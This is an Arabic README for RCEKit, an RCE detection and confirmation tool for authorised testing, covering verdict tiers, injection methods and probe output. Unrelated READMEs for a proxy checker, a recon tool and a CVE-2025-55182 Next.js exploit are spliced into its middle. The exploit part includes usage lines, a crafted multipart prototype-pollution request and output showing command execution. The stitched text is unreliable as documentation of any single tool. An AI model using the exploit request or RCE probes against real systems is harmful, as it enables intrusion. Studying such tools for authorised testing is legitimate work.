مجموعة أدوات لكشف وتأكيد RCE تختبر عناوين URL أو طلبات HTTP الملتقطة بحثًا عن حقن الأوامر، وSSTI، والمسارات العمياء وOOB، وتعيد أحكامًا متدرجة مع إثبات.
confirmed تعني أن الهدف نفّذ المُدخل. negative تعني أن المجسّات وصلت إليه.
الإصدار 2.40.0 · MIT · Python 3.8+ · بدون أي تبعيات خارجية
RCEKit هي مجموعة أدوات لكشف وتأكيد RCE لاختبار الاختراق المصرّح به، والفريق الأحمر، والبحث الأمني. وجّهها نحو هدف مسموح لك باختباره — رابط URL أو طلب HTTP ملتقط — وكل نتيجة تعود بالمستوى الذي استحقّته.
كل confirmed تستند إلى قيمة ولّدها RCEKit عشوائيًا لذلك المجسّ والتي لا
يمكن للانعكاس إنتاجها: نتيجة محسوبة موجودة في الاستجابة وغائبة عن ضابط خالٍ
من الحمولة، أو استدعاء خارج النطاق يحمل رمزًا لم يمتلكه سوى الهدف. الإشارات
الأضعف تحتفظ بمستوياتها الخاصة ولا تُرقّى إليها أبدًا. والتشغيل الذي لم يتمكن
من اختبار شيء لا يُبلّغ عنه أبدًا بأنه نظيف.
تؤكد RCEKit وجود RCE عبر طرق متعددة تحت واجهة سطر أوامر واحدة. أدناه تُوجَّه نحو ثغرات CVE حقيقية وموثّقة علنًا في برمجيات إنتاجية — كل حكم يُقارَن بضابط خالٍ من الحمولة:
| فئة RCE | --methods | الهدف الواقعي | الحكم |
|---|
| حقن أوامر نظام التشغيل (قائم على النتائج) | reflected | Webmin 1.910 — CVE-2019-15107 | confirmed |
| حقن تعبيرات (OGNL) | eval | Apache Struts2 — S2-001 | confirmed |
| بحث تعبيرات (Log4Shell/JNDI) | lookup | Apache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228 | lookup-sink |
| حقن أوامر أعمى (بدون مخرجات) | time | Webmin 1.910 — CVE-2019-15107 | needs-review |
كل صف يُعاد إنتاجه بواسطة tests/bench/، الذي يشغّل RCEKit
ضد هذه البِنى تحت Docker ويتحقق من الحكم و ضابطه السلبي. آخر تشغيل أخضر
عند 2.36.0 (2026-09-20): 3/3 حالات. هذا ادّعاء لحظي، وليس مستمرًا --
يُشغَّل المعيار وفق وتيرة محددة، وليس عند كل تغيير.
كل ضابط هو الاختبار الحقيقي للصف. Struts2 عند فحصه بـ reflected يعود
negative، لأن S2-001 يعيد تقييم OGNL ولا توجد صدفة خلفه.
إشارة time في Webmin تُثبَّت عند needs-review على هدف تصادف أنها صحيحة
فيه. وSolr عند فحصه بـ oob يعود negative رغم أنه قابل للاستغلال --
إذ يبني oob أوامر صدفة، ومصبّ ${jndi:...} لا يشغّل أيًا منها، وهذه هي
الفجوة التي وُجد lookup لسدّها، مقيسةً لا مُدّعاة.
صف Log4Shell يقول lookup-sink، وليس confirmed: ما يثبته الاستدعاء هو أن
المصبّ حلّ عنوان URI اختاره RCEKit. الوصول إلى RCE يتطلب خادمًا يجيب على
البحث بفئة قابلة للتحميل، وعند مستوى المخاطر الافتراضي لا يخرج سوى
jndi:dns:// -- بحث عن اسم، دون اتصال بعده ليجيب عليه خادم كهذا.
reflected — حقن أوامر نظام التشغيل، Webmin CVE-2019-15107 → confirmed
eval — حقن تعبيرات OGNL، Apache Struts2 S2-001 → confirmed
lookup-sink
time — حقن أوامر أعمى، Webmin CVE-2019-15107 → needs-review
لدى RCEKit شكلان مدعومان، ولا أحدهما بديل عن الآخر.
ثبّتها — يُبقي pipx واجهة سطر الأوامر في بيئتها الخاصة، وهو ما تريده
لأداة وليس لمكتبة:```bash
pipx install rcekit # or: pip install rcekit
rcekit --doctor # confirms the corpus it will run with
**أو خُذ الملف الواحد فقط.** مجموعة الحمولات (payload corpus) مدمجة داخل الوحدة، لذا
يعمل `rcekit.py` بمفرده دون أي شيء بجانبه — لا خطوة تثبيت، ولا
site-packages، ولا شيء يُترك خلفه. على جهاز القفز الخاص بالعميل، أو مضيف
معزول عن الشبكة (air-gapped)، أو في أي مكان لا يُعدّ فيه `pip install` خيارًا:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor # same corpus, same check, zero installation
كلاهما يشغّل نفس الشيفرة ويصدر نفس الأحكام. العمل من نسخة محلية هو الطريقة الثالثة، ولا يحتاج إلى تثبيت أيضًا:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only
ضع علامة `FUZZ` حيث يصل إدخالك (أو حدد معاملًا باستخدام `-p` عند
استخدام طلب ملتقط)، واطلب من RCEKit إثبات RCE:```bash
rcekit --acknowledge-consent \
--verify-url "https://target.example/lookup?host=FUZZ" \
--methods reflected,eval
لتثبيت ProxyChecker، تحتاج إلى Python 3.6 أو أحدث. اتبع الخطوات التالية:
git clone https://github.com/yourusername/ProxyChecker.git
cd ProxyChecker
pip install -r requirements.txt
لتشغيل ProxyChecker، استخدم الأمر التالي:
python proxy_checker.py -f proxies.txt -o output.txt -t 10 -p 8080,3128 -T 5 -F json
-f, --file: مسار الملف الذي يحتوي على قائمة الوكلاء (proxy) للفحص.-o, --output: مسار ملف الإخراج لحفظ النتائج.-t, --threads: عدد الخيوط المراد استخدامها (الافتراضي: 10).-p, --ports: قائمة المنافذ المراد فحصها، مفصولة بفواصل (الافتراضي: 80,8080).-T, --timeout: قيمة المهلة الزمنية للاتصال بالثواني (الافتراضي: 5).-F, --format: تنسيق الإخراج (text، json، csv) (الافتراضي: text).لفحص قائمة الوكلاء (proxy) في ملف proxies.txt وحفظ النتائج في output.txt باستخدام 20 خيطًا ومنافذ 8080 و3128 ومهلة زمنية 10 ثوانٍ وتنسيق إخراج JSON:
python proxy_checker.py -f proxies.txt -o output.txt -t 20 -p 8080,3128 -T 10 -F json
نرحب بالمساهمات! يرجى اتباع الخطوات التالية للمساهمة:
git checkout -b feature-branch).git commit -am 'Add new feature').git push origin feature-branch).هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
لأي استفسارات أو ملاحظات، يرجى التواصل مع yourusername.``` [detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9
[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)
### من طلب ملتقط — الشكل الذي تمتلكه معظم الأهداف الحقيقية
يحمل `--verify-url` عنوان URL ولا شيء غيره. تقع معظم نقاط الوصول التي تستحق الاختبار
خلف طلب POST مع كوكي جلسة ونوع محتوى وجسم، ويأخذ RCEKit ذلك الطلب
كاملاً: احفظه من الوسيط الخاص بك أو من أدوات مطوري المتصفح لديك وسمِّ الحقل المراد الحقن فيه.```bash
rcekit --acknowledge-consent \
-r search.req -p q \
--methods reflected,eval
git clone https://github.com/example/recontool.git
cd recontool
pip install -r requirements.txt
python setup.py install
pip install recontool
# استطلاع نطاق واحد
recontool -d example.com
# استطلاع عدة نطاقات
recontool -d example.com,test.com
# استطلاع من ملف
recontool -f domains.txt
# تحديد مستوى العمق
recontool -d example.com --depth 3
# تمكين الاستطلاع النشط
recontool -d example.com --active
# تحديد صيغة الإخراج
recontool -d example.com -o report.html --format html
# استخدام ملف التكوين
recontool -c config.yaml
recontool -d example.com --passive-only
recontool -d example.com --active --depth 2 -o full_report.json --format json
recontool -f targets.txt --threads 10 -o results/
يقبل recontool ملفات التكوين بصيغة YAML أو JSON. فيما يلي مثال على التكوين:
# config.yaml
general:
threads: 5
timeout: 30
verbose: false
passive:
sources:
- crt_sh
- virustotal
- shodan
active:
port_scan:
enabled: true
ports: "1-1000"
service_detection:
enabled: true
output:
format: json
directory: ./results
يدعم recontool إضافات مخصصة لتوسيع وظائفه. يمكن وضع الإضافات في دليل plugins/.
# plugins/custom_plugin.py
from recontool.plugins import BasePlugin
class CustomPlugin(BasePlugin):
name = "custom_plugin"
description = "إضافة مخصصة للاستطلاع"
def run(self, target):
# منطق الإضافة هنا
results = self.scan(target)
return results
نرحب بالمساهمات! يرجى اتباع الخطوات التالية:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. يجب عليك الحصول على إذن كتابي صريح قبل استخدام هذه الأداة ضد أي هدف. المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن هذه الأداة.
[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)
تُعاد الطريقة والمسار والترويسات والجسم وملفات تعريف الارتباط كما تم التقاطها، وتُرمَّز كل قيمة حسب السياق الذي تستقر فيه — فالورقة في JSON وحقل النموذج وملف تعريف الارتباط لا تُهرَّب بالطريقة نفسها. احذف `-p` وحدِّد الموضع بـ `FUZZ` أو `*` بدلاً من ذلك، إن كنت تفضّل.
### كل ما تملكه الأداة
هناك أمران لا يمكن الوصول إليهما إلا من طلب ملتقط: **تعداد نقاط الحقن** (`--auto-params`)، وأي مصرف يحتاج إلى جلسة. لذا فإن أوفى تشغيل يمكن لـ RCEKit القيام به يبدأ من `-r`، لا من عنوان URL — وهو أمر يستحق المعرفة قبل استنتاج أن الهدف نظيف.```bash
rcekit --acknowledge-consent \
-r search.req --auto-params all --point-order thorough \
--methods reflected,eval,time,lookup,deser \
--oob-host oob.yourdomain.example --listen-dns-port 53 \
--verify-active-risk stateful --probe-depth full \
--detect-json findings.json
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الهدف (مطلوب) |
-c, --cmd | الأمر المراد تنفيذه (افتراضي: id) |
-t, --timeout | مهلة الطلب بالثواني (افتراضي: 30) |
-v, --verbose | تمكين الإخراج المفصل |
# تنفيذ الأمر الافتراضي (id)
python3 CVE-2025-55182.py -u http://target:3000
# تنفيذ أمر مخصص
python3 CVE-2025-55182.py -u http://target:3000 -c "whoami"
# مع مهلة مخصصة
python3 CVE-2025-55182.py -u http://target:3000 -c "ls -la" -t 60
# تمكين الإخراج المفصل
python3 CVE-2025-55182.py -u http://target:3000 -v
[*] Target: http://target:3000
[*] Command: id
[*] Timeout: 30s
[*] Sending exploit request...
[+] Exploit successful!
[+] Response:
uid=1000(nextjs) gid=1000(nextjs) groups=1000(nextjs)
يستغل هذا الثغرة عدم كفاية التحقق من صحة المدخلات في معالج طلبات React Server Components. من خلال إرسال حمولة مُصممة خصيصًا، يمكن للمهاجم:
POST / HTTP/1.1
Host: target:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="0"
$1
------WebKitFormBoundary
Content-Disposition: form-data; name="1"
{"then":"$1:__proto__:constructor:constructor"}
------WebKitFormBoundary
Content-Disposition: form-data; name="2"
{"x":1}
------WebKitFormBoundary--
الترقية إلى Next.js 15.0.5 أو أحدث
npm install next@latest
تطبيق قواعد جدار حماية تطبيقات الويب (WAF)
__proto__ المشبوهةmultipart/form-data غير الطبيعيةتعطيل React Server Components إذا لم تكن قيد الاستخدام
لأغراض تعليمية واختبار الاختراق المصرح به فقط.
يُقصد بهذه الأداة مساعدة الباحثين الأمنيين وفرق الأمن السيبراني في تحديد الثغرات الأمنية وإصلاحها. يجب عليك:
المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن هذه الأداة.
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
تذكير: استخدم هذه الأداة بمسؤولية وبشكل قانوني فقط.``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925
ما الذي يفتحه كل علم:
| | |
|---|---|
| `--auto-params all` | كل قيمة استعلام، وورقة JSON، وحقل نموذج، وجزء multipart، وكوكي وترويسة، بدلاً من حقل واحد مسمّى |
| `--point-order thorough` | كل ترويسة غير hop-by-hop، وليس فقط ذات العائد المرتفع |
| `--methods ...,lookup,deser` | أحواض expression-lookup وإلغاء التسلسل، التي لا تستطيع الطرق ذات الشكل الصدفي الوصول إليها |
| `--oob-host` | مضيف callback للطرق العمياء. يحتاج إلى نطاق مفوَّض إليك؛ المنفذ 53 يحتاج root |
| `--verify-active-risk stateful` | الدرجة العليا — تضيف أشكال الفحص التي تجعل الهدف يجلب من عنوان لم تختره RCEKit |
| `--probe-depth full` | كل شكل break-out لكل حوض، وليس الأشكال الرخيصة فقط |
| `--detect-json` | نفس الأحكام بصيغة JSON قابلة للقراءة آلياً |
**هذا عدد كبير من الطلبات.** يُطبع سطر التكلفة قبل انطلاق أي شيء، ويحدّه
`--max-points` / `--max-payloads`. شغّله ضد نسخة يُسمح لك بكسرها: `--verify-active-risk stateful` هي الدرجة المخصصة لهدف قابل للتخلص منه، وليس للإنتاج.
لا بنية تحتية خارجية، ولا ملف إعدادات.
**لا تأخذ صور GIF على الثقة** — [أعد إنتاجها بنفسك](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md)
ضد أهداف Webmin وStruts2 المُشغَّلة عبر Docker في نحو خمس دقائق.
**التالي:** [**الدليل الميداني**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) يستعرض المواقف الحقيقية — الطلبات
المُلتقطة، وجدران الحماية WAFs، والفاصلات المُرشَّحة، والأحواض المُقتبسة، والأهداف
العمياء وعديمة المنفذ — مثال عملي واحد لكل منها.
---
## ماذا يعني الحكم
العثور على *مرشّح* لـ RCE سهل. أما الإبلاغ عن واحد يصمد أمام إعادة اختبار شخص آخر
فهو الجزء الصعب، ويفشل في اتجاهين: "قد يكون قابلاً للاستغلال" يتبيّن أنه انعكاس،
و"غير قابل للاستغلال" ناتج عن تشغيل لم يختبر شيئاً فعلياً.
تجيب RCEKit بـ **ثمانية أحكام لا تُدمج أبداً في بعضها**:
| الحكم | ما يؤكده |
|---|---|
| **`confirmed`** | نفّذ الهدف المُدخل. أعاد قيمة لم يكن بإمكانه إنتاجها بغير ذلك — محسوبة من معاملات عشوائية خاصة بذلك الفحص — وهذه القيمة غائبة عن ضابط خالٍ من الحمولة. |
| **`deserialization-sink`** | أعاد الهدف بناء رسم كائنات مورَّد من المهاجم. مُثبَت، لكنه يتعلق بـ*خاصية مختلفة*: الوصول إلى RCE من هناك يعتمد على gadgets في classpath، لذا لا يُسمى أبداً RCE. |
| **`lookup-sink`** | حلّ الهدف URI سلّمته RCEKit — وصل تعبير `${jndi:…}` إلى lookup، مُثبَت عبر callback يحمل رمزاً لم يملكه سوى ذلك الفحص. إنه حوض، وليس تنفيذاً: الوصول إلى RCE من هناك يحتاج إلى خادم يجيب بفئة قابلة للتحميل. |
| **`needs-review`** | إشارة حقيقية ليست دليلاً بحد ذاتها — انحدار توقيت خطي، أو بصمة محلل. تستحق وقتك، لكنها لا تستحق أبداً كلمة "confirmed". |
| **`inconclusive`** | ظهر الدليل، لكن تعذّر عزوه إلى التنفيذ — الضابط الخالي من الحمولة حمله أيضاً. |
| **`negative`** | بُنيت الفحوصات، ووصلت إلى الهدف، ولم تجد شيئاً. |
| **`error`** | لم يصل شيء إلى الهدف. |
| **`nothing-tested`** | لم يُبنَ أي فحص على الإطلاق. |
في اللحظة التي يختلط فيها `confirmed` و`maybe`، يتوقف `confirmed` عن حمل أي معنى —
لذا لا يُرقّى شيء إلى الأعلى أبداً. يبقى انحدار التوقيت `needs-review` مهما كان
الميل نظيفاً. ويبقى callback إلغاء التسلسل `deserialization-sink` مهما كنت واثقاً
من أن classpath قابل للاستغلال.
### النصف الآخر: تشغيل لم يختبر شيئاً ليس نظيفاً أبداً
الصفّان الأخيران هما اللذان لا تملكهما الأدوات الأخرى، وهما أهم مما يبدوان. الماسح
الذي لم يستطع الوصول إلى الهدف، أو لم يبنِ أي فحوصات لأن أعلامك استبعدت كل واحد
منها، لم يتعلم **شيئاً** عن الهدف — وطباعة `negative` هناك كذبة تُقرأ تماماً كما
تُقرأ السلامة.
لذا فإن `error` و`nothing-tested` حكمان من الدرجة الأولى، ويخرج التشغيل برمز غير
صفري، وتقول RCEKit أيّهما حدث ولماذا:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.
إنه يُطلق النار في أي مكان يمكن أن يصبح فيه التشغيل فارغًا بهدوء: طريقة لا تنطبق على البيئات المحددة، أو درجة --sink-shape التي لا تملك الصدفة المختارة صياغة لها، أو اختيار --bridges محجوز بالكامل بواسطة سقف الأمان، أو جسم طلب أفسد التسليم قبل وصوله.
التشغيل الذي كان جزئيًا فقط أعمى يحصل على نفس المعاملة على مستوى أدنى. إذا طلبت أوراكل من الدرجة الثانية ولم يستجب نقطة النهاية المرصودة أبدًا، فإن أحكام الفحص لا تزال قائمة — لكن التشغيل يخبرك أنها حُسمت دون قراءة القناة التي وجهته إليها أبدًا، بدلًا من تركها تمر كسلبية من الدرجة الثانية.
واجهة سطر أوامر واحدة، وعلم --methods واحد، يغطي المسارات الرئيسية إلى RCE:
| فئة RCE | --methods | كيف يثبتها RCEKit |
|---|---|---|
| حقن أوامر نظام التشغيل | reflected | يجعل الصدفة تحسب $((a+b)) على معاملات عشوائية وتُسطّح $(echo TAG)؛ يؤكد النتيجة، وليس التعبير الحرفي أبدًا. مكتوب بلهجة الـ sink نفسها — POSIX أو cmd.exe أو PowerShell. |
حقن الكود / التعبير — SSTI، SpEL، OGNL، Groovy، eval() (CWE-94) | eval | يحقن a*b في كل صياغة قالب شائعة (${…} {{…}} #{…} %{…} <%=…%> @(…)، مجردة)؛ يؤكد ظهور الناتج بينما لا يظهر النص الحرفي a*b. |
| حقن أوامر أعمى (بدون مخرجات) | time | يُطلق سلسلة تأخير مضبوطة 0/N/2N ويؤكد أن زمن الاستجابة يتبع التأخير خطيًا؛ يُبلّغ عنه needs-review — الاهتزاز لا يمكنه تزييفه، لكن التوقيت ليس قيمة محسوبة. |
| الأهداف الداخلية / بدون منفذ خروج | file | يكتب رمزًا عشوائيًا ويجلبه مرة أخرى عبر أي مسار قراءة عكسي — جذر ويب، معامل LFI، معالج تنزيل أو تصدير، معاينة مدعومة بـ /tmp. يثبت التنفيذ بالإضافة إلى قدرة الكتابة، بدون مستمع خارجي. |
| قدرة الرفع / الكتابة — PUT-a-JSP، رفع غير مُتحقق منه (CWE-434) | write | يكتب سطرًا واحدًا يحسب ناتجًا عبر طلب الرفع الخاص بك، ثم يجلب الملف: الناتج هو RCE confirmed، والمصدر العائد حرفيًا هو needs-review — كتابة ملف عشوائية، تُقدَّم لكن لا تُفسَّر. |
| مصارف إلغاء التسلسل — fastjson، shiro، weblogic (CWE-502) | deser | يثبت أن نقطة النهاية تُلغي تسلسل بيانات المهاجم، عبر أداة DNS غير تنفيذية أو تفاضل شكل الخطأ. يُبلّغ عنه كـ deserialization-sink، وليس أبدًا كـ RCE. |
| الأعمى / خارج النطاق — تسريب، غير متزامن | oob | مستمع HTTP/DNS مدمج يستقبل الاستدعاءات ويربط كلًا منها بالحمولة الدقيقة؛ كل فحص يحمل رمزه الخاص. |
ثلاثة أشياء توسّع نطاق وصول تلك الطرق، دون تغيير ما ستسميه أي منها confirmed:
--observe-url) — عندما تهبط الحمولة على طلب وتُنفَّذ على آخر: SSTI مخزّن يُعرض على صفحة ملف شخصي، حمولة تُكتب في سجل يعرضه محرك قوالب لاحقًا، مهمة في قائمة انتظار. تُقارَن نقطة النهاية المرصودة مقابل لقطة مأخوذة قبل إرسال أي فحص.--bridges) — COPY … FROM PROGRAM، xp_cmdshell، expect://. الجسر ناقل، وليس أوراكل: يغلّف الأمر الذي تبنيه الطرق بالفعل، لذا تنطبق نفس المستويات من خلاله.-p all) — الاستعلام، أوراق JSON، حقول النماذج، أجزاء multipart، ملفات تعريف الارتباط، الترويسات ومقاطع المسار، كل منها مُرمَّز حسب مكان هبوطه، مع طباعة تكلفة الفحص قبل إطلاق أي شيء. يُرتَّب جسم GraphQL حسب ما يمكنه التأكيد فعليًا: variables التي يقرأها المُحلِّل قبل مستند العملية نفسه.اخلط الطرق بحرية: --methods reflected,eval,time يشغّل الثلاثة ويُبلّغ عن كل مستوى بشكل منفصل.
النطاق الصادق. يؤكد RCEKit الـ RCE الذي يمكن الوصول إليه عبر الحقن في طلب وتفسيره بواسطة صدفة أو مُقيِّم. وهو لا يغطي أخطاء إفساد الذاكرة (تجاوز المخزن المؤقت، UAF) أو حقن الوسائط في مصفوفة
argvبدون صدفة — تلك مشاكل مختلفة. سلاسل gadget لإلغاء التسلسل تبقى خارج النطاق أيضًا:--methods deserيثبت أن نقطة النهاية تُلغي تسلسل بيانات المهاجم ويقول ذلك في مستواه الخاص، لكن أي gadget (إن وُجد) يحوّل ذلك إلى تنفيذ يعتمد على classpath الهدف، وRCEKit لا يدّعي معرفته. يهدف إلى أن يكون ممتازًا في فئات RCE المدفوعة بالحقن أعلاه بدلًا من أن يكون متوسطًا في كل شيء.
الأدوات الأخرى في هذا المجال مبنية لإدخالك. RCEKit مبني بحيث تنجو النتيجة من تدقيق شخص آخر — إعادة اختبار العميل، قائمة الفرز، مراجعة التقرير. يظهر هذا الفرق ثلاث مرات.
نادرًا ما تعرف الفئة قبل أن تختبر. تغطية sink مجهول بأدوات أحادية الفئة تعني تشغيل كل منها بالتناوب وإعادة بناء الطلب لكل واحدة:
| يمكنه التأكيد | RCEKit | commix | SSTImap | Nuclei |
|---|---|---|---|---|
| حقن أوامر نظام التشغيل | ✅ | ✅ (نطاقه بالكامل) | — | حسب القالب |
| حقن التعبير / SSTI | ✅ | عبر تقنيته القائمة على eval | ✅ (نطاقه بالكامل) | حسب القالب |
| أعمى — التوقيت | ✅ كمستوى منفصل | ✅ | ✅ | — |
| أعمى — خارج النطاق | ✅ مستمع مدمج | — | — | عبر interactsh |
| بدون منفذ خروج — كتابة & جلب عكسي | ✅ أي مسار قراءة عكسي | ✅ (جذر ويب) | — | — |
مصارف cmd.exe وPowerShell | ✅ فحوص حسب اللهجة | ✅ (cmd) | — | حسب القالب |
| رفع → كتابة-ثم-تنفيذ | ✅ كتابة مقابل تنفيذ، مستويان منفصلان | — | — | حسب القالب |
| من الدرجة الثانية — يهبط هنا، يُنفَّذ هناك | ✅ | — | — | — |
| جسر لغة الاستعلام إلى نظام التشغيل | ✅ | — | — | حسب القالب |
| مصرف إلغاء التسلسل | ✅ مستواه الخاص، لا يُسمى أبدًا RCE | — | — | حسب القالب |
| كل ما سبق، واجهة سطر أوامر واحدة، تشغيل واحد | ✅ | — | — | — |
التغطية حسب قائمة التقنيات الموثقة لكل مشروع. SSTImap هو الخلف المُصان لـ tplmap، الذي وسمه مؤلفه كغير مُصان.```bash
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time
### 2. إنه يجادل نتائجه الخاصة
تُبلّغ الأداة عمّا وجدته. كما تُبلّغ RCEKit عمّا **رفضت تصديقه** —
`inconclusive` هو حكم قائم بذاته، للأدلة التي ظهرت لكن تعذّر نسبها إلى التنفيذ:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11
كان هذان سيكونان اكتشاف شخص آخر. خمس آليات تُنتج هذا الحكم، وهي تعمل على كل تأكيد:
inconclusive، وليس اكتشافاً.$((a+b)) الحرفي؛ التنفيذ وحده يعيد القيمة.confirmed.نفس الغريزة تعمل في الاتجاه المعاكس. التوقيت لا يؤكد نفسه أبداً، واستدعاء إلغاء التسلسل لا يُسمّى RCE أبداً، وتشغيل لم يبنِ أي مجسّات لا يُسمّى سلبياً أبداً.
الضوابط التي تسأل عنها قواعد الاشتباك لدى العميل فعلاً، في الأداة لا في ملاحظاتك:
| بوابة الموافقة | لا شيء استغلالي يُولَّد أو يُطلق بدون --acknowledge-consent. |
| خطة التنفيذ | تطبع العدد الدقيق للمجسّات، وأشكال المصارف، ومستويات الأمان، وأي وجهات استدعاء صادرة قبل انطلاق أول طلب. |
| آمن افتراضياً | الأصداف العكسية، والوصول إلى بيانات الاعتماد، وبيانات وصفية للسحابة، والحركة الجانبية، والهروب من الحاويات تُحتجز حتى ترفع --verify-active-risk؛ أما الاستمرارية والأبواب الخلفية فتحتاج علماً ثانياً فوق ذلك. الجسور التي تنشئ كائناً على الهدف تخضع لنفس السقف. |
| أوامر التنظيف | file وwrite والجسور ذات الحالة تغيّر حالة الهدف، لذا كل اكتشاف — بما في ذلك needs-review — يطبع ما يجب تشغيله للتراجع عنه. |
| بيانات الاعتماد تبقى في مكانها | جلب القراءة العكسية لـ file يحمل ترويسات Authorization/Cookie الخاصة بالتشغيل إلى نفس الأصل فقط، ويقول ذلك صراحةً عندما يحجبها. جلب القناة المرصودة لا يرسل أي شيء على الإطلاق ما لم تسلّمه طلباً عبر --observe-request. |
| سجل تدقيق محجوب | كل تشغيل يُسجَّل في exploit_audit.log، مسجّلاً أن ترويسة بيانات اعتماد أُرسلت، وليس قيمتها أبداً. |
| العلامة المائية | --watermark يختم رمزاً قابلاً للتتبع في كل حمولة، فحمولة تُوجد في سجلات العميل بعد أشهر تُنسب إلى تشغيلك. |
| لا استدعاءات من أطراف ثالثة | مستمع OOB ملكك. لا شيء يُوجَّه عبر خادم تفاعل عام، وهو ما تحظره بعض المهام صراحةً. |
| ملف stdlib واحد | rcekit.py يعمل وحده — على jump box، أو مضيف معزول هوائياً، أو أي مكان لا يكون فيه pip install خياراً. |
أتريد صدفة بدلاً من حكم؟ commix وSSTImap يواصلان إلى مرحلة ما بعد الاستغلال؛ أما RCEKit فيتوقف عند الإثبات بحكم التصميم. تمسح آلاف المضيفين بحثاً عن CVEs معروفة؟ تلك مهمة Nuclei — وRCEKit يكتب قوالب Nuclei (--output-format nuclei)، فيغذّي ماسحك الضوئي بدلاً من منافسته. تعرف مسبقاً أن الحقن SQL وتريد قاعدة البيانات نفسها؟ sqlmap يملك تلك الأرض — جسور RCEKit موجودة لإثبات أن نظام التشغيل قابل للوصول من معامل نصي، لا لاستغلال قاعدة البيانات.
كل صف هو مثال عملي في الدليل الميداني — الأمر، وما يرسله، وكيف تقرأ ما يعود.
| الحالة | اذهب إلى |
|---|---|
| لديّ URL ومعامل | وجّه إلى URL |
| لديّ طلب محفوظ من Burp | وجّه إلى طلب ملتقط |
| التطبيق JSON / الحمولة تتعرض للتشويه باستمرار | إيصال الحمولة سليمة |
| لا أعرف أي صنف هو | اختيار الطرق |
المصرف يجرّد ; | عندما يرشّح المصرف الفواصل |
مدخلي يهبط داخل 'quotes' | الحقن داخل علامات الاقتباس |
| المصرف يشغّل مدخلي كالأمر كاملاً | مصارف الأمر الكامل |
| الهدف Windows أو المصرف PowerShell | مصارف Windows وPowerShell |
| هناك WAF | التفاف حول WAF |
| لا يعود أي مخرج على الإطلاق | الأهداف العمياء |
| لا مخرج ولا خروج | الأهداف بلا خروج |
| الطلب يخزّن ملفاً بدلاً من تشغيل أي شيء | أهداف الرفع والكتابة الأولية |
| الحمولة تعمل لاحقاً، على طلب مختلف | عندما يحدث التنفيذ على طلب آخر |
| تحقق بنفسك | أعِد إنتاج التأكيدات أعلاه على جهازك، مقابل أهداف ضعيفة مُحزَّمة في Docker. خمس دقائق. |
| الدليل الميداني | جولة قائمة على الأمثلة لكل حالة واقعية، من أول مجسّ إلى السلاسل متعددة الخطوات. ابدأ هنا. |
| توليد الحمولات & التصديرات | RCEKit كمولّد حمولات: ملفات تعريف الأهداف، وتصديرات Burp / ffuf / Nuclei. |
| المرجع | كل علم، وبيئة، وفئة، وسياق، وترميز، ومصرف تنفيذ كود. |
| CHANGELOG.md | ما تغيّر في كل إصدار، وما يجب إعادة فحصه عند الترقية. |
| CONTRIBUTING.md | كيفية إضافة مصارف وفئات وترميزات وطرق كشف. |
| SECURITY.md | الإبلاغ عن ثغرة في RCEKit نفسه. |
RCEKit يستغل، وهذا هو المقصد. تُؤكَّد الثغرة بجعل الهدف يفعل الشيء، لأن ذلك هو الدليل الوحيد الذي لا يمكن لبصمة أن تزوّره ولا لبناء مُرقَّع أن ينتجه بالخطأ. ما يحدّ من التشغيل ليس التردد في الاستغلال. بل حقيقتان بنيويتان ومفتاح واحد.
لا يأخذ منك حمولة عشوائية. تُبنى المجسّات بواسطة المحرك لخدمة أوراكل — حساب على معاملات عشوائية لذلك المجسّ تحديداً، واسم لا يمكن إلا لهذا التشغيل أن يختاره. لا يوجد مدخل يحوّل الكشف إلى شيء آخر، لأنه لا يوجد مثل هذا المدخل لتقديمه.
أي شيء يتجاوز حساب قيمة يعلن المستوى الذي يحتاجه، فيقرر علم واحد إلى أي مدى يذهب التشغيل: --verify-active-risk safe | intrusive | stateful. طريقة أو شكل مجسّ واحد فوق ذلك المستوى يُحتجز بالاسم، مع العلم الذي سيرسله — فسُلَّم يتقلص بصمت لا يمكن تمييزه عن هدف لا شيء فيه ليجده. مقابل نسخة قابلة للتخلص منها، ارفع المستوى واحصل على كل ما تملكه الأداة.
